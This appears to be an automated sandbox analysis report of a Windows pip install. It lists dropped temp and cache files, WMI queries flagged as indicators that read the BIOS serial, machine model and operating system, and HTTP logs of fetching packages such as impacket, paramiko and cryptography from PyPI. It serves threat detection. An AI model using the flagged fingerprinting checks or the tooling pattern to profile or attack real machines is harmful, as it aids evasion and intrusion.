[%TEMP%\pip-metadata-v6ab7d78\METADATA]- [targetUID: 00000000-00008020] "tmp8_ycjwxz" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp8_ycjwxz]- [targetUID: 00000000-00007600] "tmp3fmyilxp" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp3fmyilxp]- [targetUID: 00000000-00007600] "flask-3.1.3-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-7h753rl6\flask-3.1.3-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-q362kr73\METADATA]- [targetUID: 00000000-00008020] "click-8.5.1-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-45kz9ct2\click-8.5.1-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp0wvbcqw3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp0wvbcqw3]- [targetUID: 00000000-00007600] "itsdangerous-2.2.0-py3-none-any.whl.metadata" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-unpack-vj0y9bp2\itsdangerous-2.2.0-py3-none-any.whl.metadata]- [targetUID: 00000000-00007600] "tmp28g66vt3" has type "Python script ASCII text executable"- Location: [%TEMP%\tmp28g66vt3]- [targetUID: 00000000-00007600] "METADATA" has type "Python script ASCII text executable"- Location: [%TEMP%\pip-metadata-56r183id\METADATA]- [targetUID: 00000000-00008020]6f:T18b3,Dropped file: "9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\b\c\2\4\9bc24a0d1af06cebaa67c4cf831029179fb35f7fa224a8d2dbe5006d.bodywfmhq22y.tmp]- [targetUID: 00000000-00007600] Dropped file: "bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\b\c\a\8\9\bca89331ccd256c7bceb619eae9403cb783a2abfa140b99b7dac66a2.bodym_8u6hb2.tmp]- [targetUID: 00000000-00007600] Dropped file: "0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\1\4\f\0d14f0a32e377d1190bc8dbae6962e0633b69fffba8a6160afbc8e6f.bodyg81bcs1r.tmp]- [targetUID: 00000000-00007600] Dropped file: "2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\2\a\a\e\b\2aaebf6b506fe2a373b26f648dfc83bfc153f7671297de820141e25a.body8bmnf8wt.tmp]- [targetUID: 00000000-00007600] Dropped file: "82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\2\a\4\b\82a4b75b0492ac0cddfc37543dc76df60c05d492f39e89796c9f2cd3.bodyjcxnhpak.tmp]- [targetUID: 00000000-00007600] Dropped file: "0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\0\d\7\3\7\0d737fcfc0849664d14e4caad2a4866c3dbc9ebadc806e55afbdf549.body4b39vvob.tmp]- [targetUID: 00000000-00007600] Dropped file: "8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\c\3\0\2\8c30266fb32a23bd1c3978dce0bf0c4bd935f24d3e567feb9e2df799.body4gkee_7r.tmp]- [targetUID: 00000000-00007600] Dropped file: "6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\b\4\5\0\6b45031933f860a66862d8bbeab086b552ed37baed1b67b4fcc475ec.bodygaiklb70.tmp]- [targetUID: 00000000-00007600] Dropped file: "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7.body5fygzkko.tmp]- [targetUID: 00000000-00007600] Dropped file: "9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\9\c\c\6\9\9cc6939c61442ece13bdcac1a4f63ac9be8b2e7a5a8148e85ca678e2.body14uzbkvu.tmp]- [targetUID: 00000000-00007600] Dropped file: "37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\7\0\1\1\37011a92decbae054354ac044e6397d39bab33bb4b04aee2fbe1fb56.bodyrjw230ed.tmp]- [targetUID: 00000000-00007600] Dropped file: "716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\7\1\6\b\6\716b600475402da1427ef22d8bc6f89797db25581f58222fadd3d344.bodyeexugh9z.tmp]- [targetUID: 00000000-00007600] Dropped file: "1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\1\e\6\f\2\1e6f2fa1119d47b853219feb91c3867d411e0c8c02476d1e769171e8.body0f0oz1qx.tmp]- [targetUID: 00000000-00007600] Dropped file: "30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\0\d\4\e\30d4e87d14e60af7dc987765da5deb104b436d2a6d316aab8420bff8.body3cyrlp3d.tmp]- [targetUID: 00000000-00007600] Dropped file: "55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\5\5\e\8\9\55e89b09594758366a997abbae14a69af04566121efa35f87cbadc71.body10fffqwa.tmp]- [targetUID: 00000000-00007600] Dropped file: "368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\6\8\c\6\368c6e8d89d86908116600539bcfea26d2334f5c9c8adf425246f9ab.bodyzmhg9r6j.tmp]- [targetUID: 00000000-00007600] Dropped file: "85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\8\5\3\8\5\85385fd8a53d3d88ac67db4bf015be7ba931f024227668d42969ea92.bodykbn6_txu.tmp]- [targetUID: 00000000-00007600] Dropped file: "692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\6\9\2\e\c\692ec231cbc72e0dffbe16e12652153a0e370b1f7b1ae418d5ffcb83.bodysyhclf65.tmp]- [targetUID: 00000000-00007600] Dropped file: "f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\f\7\b\f\d\f7bfd6930f734dd3e11fa3ea15d0e76bfe62e81899114cb8257f67b4.bodytkvud8qv.tmp]- [targetUID: 00000000-00007600] Dropped file: "d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\d\6\a\5\d\d6a5d0856a7e93554e8be85cae6a61e3c3d38bd36521d22d8c0dc50e.body4ih8buiv.tmp]- [targetUID: 00000000-00007600] Dropped file: "a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\4\6\b\7\a46b74c1407dd55ebf9eeb7eb2c73000028b7639a6ed9edc7981950cj4bu04bb.tmp]- [targetUID: 00000000-00007600] Dropped file: "34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\4\e\5\4\34e542d91615b0c756d5e520848b0d106c12a418e67932313394eaa7rstc8dz7.tmp]- [targetUID: 00000000-00007600] Dropped file: "3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\3\a\1\c\7\3a1c7a8390a01e2866c987ccb52d86a29a0498e089a9d35d19c02a63oju_mhcn.tmp]- [targetUID: 00000000-00007600] Dropped file: "4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\4\3\7\4\d\4374db2dad7a8fb0f740927aa8b73cd505232c538ba96acd90bf0e9am1cqt7l7.tmp]- [targetUID: 00000000-00007600] Dropped file: "aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp" - Location: [%LOCALAPPDATA%\pip\cache\http-v2\a\a\d\4\6\aad463972d370084ab3547d18c6b8ec1979cd6dc88f8a8323425aa32kai6390h.tmp]- [targetUID: 00000000-00007600]70:T4c1,"SELECT Model FROM Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001520-00002714-1552600281") "SELECT SerialNumber FROM Win32_BIOS" (Indicator: " win32_bios"; Source: "00000000-00001508-00002714-1558098864") "SELECT SerialNumber FROM Win32_BIOS" (Indicator: " win32_bios"; Source: "00000000-00001508.00000000.180396.C80B0000.00000004.mdmp") "elect * from Win32_BIOS" (Indicator: " win32_bios"; Source: "00000000-00001508.00000000.180396.C8210000.00000004.mdmp") "3952083,"SELECT Model FROM Win32_ComputerSystem"" (Indicator: " win32_computersystem"; Source: "00000000-00001520.00000000.180024.1746D000.00000004.mdmp") "SELECT Model FROM Win32_ComputerSystem" (Indicator: " win32_computersystem"; Source: "00000000-00001520.00000000.180024.6A4E2000.00000004.mdmp") "APSELECT MODEL FROM WIN32_COMPUTERSYSTEM" (Indicator: " win32_computersystem"; Source: "00000000-00001520.00000000.180024.6A4E2000.00000004.mdmp") "elect * from Win32_BIOS" (Indicator: " win32_bios"; Source: "00000000-00004700.00000000.184239.DC4F0000.00000004.mdmp") "select * from Win32_OperatingSystem" (Indicator: " win32_operatingsystem"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp")71:Td1aa,"GET /simple/cryptography/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 422941 referrer-policy: origin-when-cross-origin access-control-expose-headers: X-PyPI-Last-Serial content-encoding: gzip access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since access-control-max-age: 86400 content-security-policy: default-src 'none'; sandbox allow-top-navigation cache-control: max-age=600 public etag: "6LacEPG4wqlTrfPUFVrrCw" access-control-allow-origin: * server: gunicorn access-control-allow-methods: GET x-pypi-last-serial: 41646096 Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:35 GMT X-Served-By: cache-iad-kiad7000037-IAD cache-iad-kiad7000037-IAD cache-iad-kiad7000037-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 1325872 2 X-Timer: S1794606816.509079 VS0 VE0 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/9a/4f/adfc442765721292fff86d314ce385d3249d22db42295c0dd057727b60f3/cryptography-50.0.2-cp311-abi3-win_amd64.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 4394 x-amz-request-id: 9R6VBBCZ2GC9C7N7 x-amz-id-2: bvtYyCC/1RoJ71qNcA2muRb+9D6wXW0rt++SLkFR1OFrniyRcalCCruwSrzz2BXaexOmonPsVrytkpGvDQW255IoqjO3AacC Server: AmazonS3 Last-Modified: Wed 30 Sep 2026 14:44:13 GMT ETag: "e4112846e705439ef25ddff2647aacc9" x-amz-version-id: wj1t1UzC3pJNJxyRndUgPVLFuBrt.3PS Content-Type: binary/octet-stream x-amz-server-side-encryption: AES256 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:36 GMT Age: 1437064 X-Served-By: cache-iad-kcgs7200043-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 66 9 X-Timer: S1794606817.872798 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: cp311 x-pypi-file-version: 50.0.2 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: cryptography with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A2063727970746F6772617068790A56657273696F6E3A2035302E302E320A436C6173736966....... "GET /simple/paramiko/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 32487 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial cache-control: max-age=600 public access-control-max-age: 86400 server: gunicorn referrer-policy: origin-when-cross-origin access-control-allow-origin: * x-pypi-last-serial: 42383613 access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since access-control-allow-methods: GET content-security-policy: default-src 'none'; sandbox allow-top-navigation etag: "/2A1BKoEXDd9sdKS6156wQ" Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:36 GMT X-Served-By: cache-iad-kiad7000026-IAD cache-iad-kiad7000178-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 148326 1 X-Timer: S1794606817.979327 VS0 VE2 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/13/45/fa0e8d70cb25d2dae06bc238e580a84834f6ca53a4e2408cccc19a78db7b/paramiko-5.1.0-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 3768 Last-Modified: Sun 18 Oct 2026 02:38:52 GMT ETag: "f8461a47937f0bd841e2edca90c2679b" x-amz-server-side-encryption: AES256 x-amz-request-id: fa6d913e0a96d4a2 x-amz-id-2: aN6NjszFmNg1mXDEVMHVknWZgYyswvDgw x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f11479ddfdefa67cd_d20261018_m023852_c005_v0501041_t0016_u01792291132946 Content-Type: application/octet-stream Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT Age: 2315682 X-Served-By: cache-iad-kiad7000131-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 10194 21 X-Timer: S1794606817.077085 VS0 VE0 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 5.1.0 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: paramiko with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20706172616D696B6F0A56657273696F6E3A20352E312E300A53756D6D6172793A20535348....... "GET /simple/impacket/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 2536 access-control-allow-methods: GET x-pypi-last-serial: 37204330 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "31DXeWEtAoCRFM45uXJIEw" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kcgs7200112-IAD cache-iad-kcgs7200112-IAD cache-iad-kcgs7200112-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 70265 0 X-Timer: S1794606817.193986 VS0 VE3 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept-Encoding Accept Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/72/44/c28ecebffd4c08d4f2caf4f7d4fd3fd9eb0124dcf15e9bf8a1e20287bcb0/impacket-0.13.1-py3-none-any.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 5973 Server: nginx Content-Type: application/octet-stream Last-Modified: Tue 19 May 2026 15:30:39 GMT ETag: "f6295c3033b5cf8a1bcfc112cc02524f" x-amz-request-id: 4ada82facbad8596 x-amz-id-2: aNxpjUDGHNjlm5zFwMPdkl2anY0owDTgb x-amz-version-id: 4_z179c51e67f11a0ad8f6c0018_f117da37bdbd3456b_d20260519_m153039_c005_v0501042_t0048_u01779204639241 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 982671 Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kcgs7200111-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 7346 0 X-Timer: S1794606817.294780 VS0 VE2 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: py3 x-pypi-file-version: 0.13.1 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: impacket with response body ==>4D657461646174612D56657273696F6E3A20322E340A4E616D653A20696D7061636B65740A56657273696F6E3A20302E31332E310A53756D6D6172793A204E65....... "GET /simple/bcrypt/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 67822 access-control-allow-methods: GET x-pypi-last-serial: 31463631 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "Cvve4xteV+mYXxU1uImbjA" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kjyo7100039-IAD cache-iad-kjyo7100039-IAD cache-iad-kcgs7200105-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 380016 6 X-Timer: S1794606817.398847 VS0 VE1 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() camera=() display-capture=() document-domain=() encrypted-media=() execution-while-not-rendered=() execution-while-out-of-viewport=() fullscreen=() gamepad=() geolocation=() gyroscope=() hid=() identity-credentials-get=() idle-detection=() local-fonts=() magnetometer=() microphone=() midi=() otp-credentials=() payment=() picture-in-picture=() screen-wake-lock=() serial=() speaker-selection=() storage-access=() usb=() web-share=() xr-spatial-tracking=() with response body ==>7B2266696C6573223A5B7B22636F72652D6D65746164617461223A66616C73652C22646174612D646973742D696E666F2D6D65746164617461223A66616C7365....... "GET /packages/9f/b9/9d9a641194a730bda138b3dfe53f584d61c58cd5230e37566e83ec2ffa0d/bcrypt-5.0.0-cp39-abi3-win_amd64.whl.metadata HTTP/1.1 Host: files.pythonhosted.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: identity Accept: */* Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 10844 x-amz-id-2: kBt7c9Ak9PPhBUrKFIw5pZmUqrKFRToF5X1ILEvfkqywwIpX+qPqKO/wqlpGMoJRiICtN1Knszw= x-amz-request-id: N55ETET9P4VX0R77 Last-Modified: Thu 25 Sep 2025 19:50:37 GMT ETag: "329ce93f1934e14bcc7000fdcab06e5c" x-amz-server-side-encryption: AES256 x-amz-version-id: Tulo3ZUmY2vWXGN7mWwB2rFsNHMMnT3Y Content-Type: binary/octet-stream Server: AmazonS3 Fastly-Restarts: 1 Cache-Control: max-age=365000000 immutable public Accept-Ranges: bytes Age: 1216746 Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kiad7000099-IAD cache-lax-kwhp1940030-LAX X-Cache: HIT HIT X-Cache-Hits: 12254 0 X-Timer: S1794606818.531116 VS0 VE1 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Robots-Header: noindex Access-Control-Allow-Methods: GET OPTIONS Access-Control-Allow-Headers: Range Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length Content-Range Accept-Ranges x-pypi-file-python-version: cp39 x-pypi-file-version: 5.0.0 x-pypi-file-package-type: bdist_wheel x-pypi-file-project: bcrypt with response body ==>4D657461646174612D56657273696F6E3A20322E310D0A4E616D653A206263727970740D0A56657273696F6E3A20352E302E300D0A53756D6D6172793A204D6F....... "GET /simple/invoke/ HTTP/1.1 Host: pypi.org User-Agent: pip/26.2.1 {"ci":null,"cpu":"AMD64","implementation":{"name":"CPython","version":"3.11.0"},"installer":{"name":"pip","version":"26.2.1"},"openssl_version":"OpenSSL 1.1.1q 5 Jul 2022","python":"3.11.0","setuptools_version":"80.10.2","system":{"name":"Windows","release":"10"}} Accept-Encoding: gzip, deflate Accept: application/vnd.pypi.simple.v1+json, application/vnd.pypi.simple.v1+html; q=0.1, text/html; q=0.01 Connection: keep-alive" Response ==> HTTP/1.1 200 OK Connection: keep-alive Content-Length: 22024 access-control-allow-methods: GET x-pypi-last-serial: 35869529 content-encoding: gzip access-control-expose-headers: X-PyPI-Last-Serial access-control-allow-origin: * etag: "d0+7lyTiMim4iVnNQSnGrQ" cache-control: max-age=600 public content-security-policy: default-src 'none'; sandbox allow-top-navigation access-control-max-age: 86400 referrer-policy: origin-when-cross-origin access-control-allow-headers: Content-Type If-Match If-Modified-Since If-None-Match If-Unmodified-Since server: gunicorn Accept-Ranges: bytes Date: Fri 13 Nov 2026 21:53:37 GMT X-Served-By: cache-iad-kcgs7200036-IAD cache-iad-kcgs7200036-IAD cache-iad-kcgs7200132-IAD cache-lax-kwhp1940024-LAX X-Cache: MISS HIT HIT X-Cache-Hits: 0 69356 1 X-Timer: S1794606818.604281 VS0 VE2 Content-Type: application/vnd.pypi.simple.v1+json Vary: Accept Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none Permissions-Policy: publickey-credentials-create=(self) publickey-credentials-get=(self) accelerometer=() ambient-light-sensor=() autoplay=() battery=() 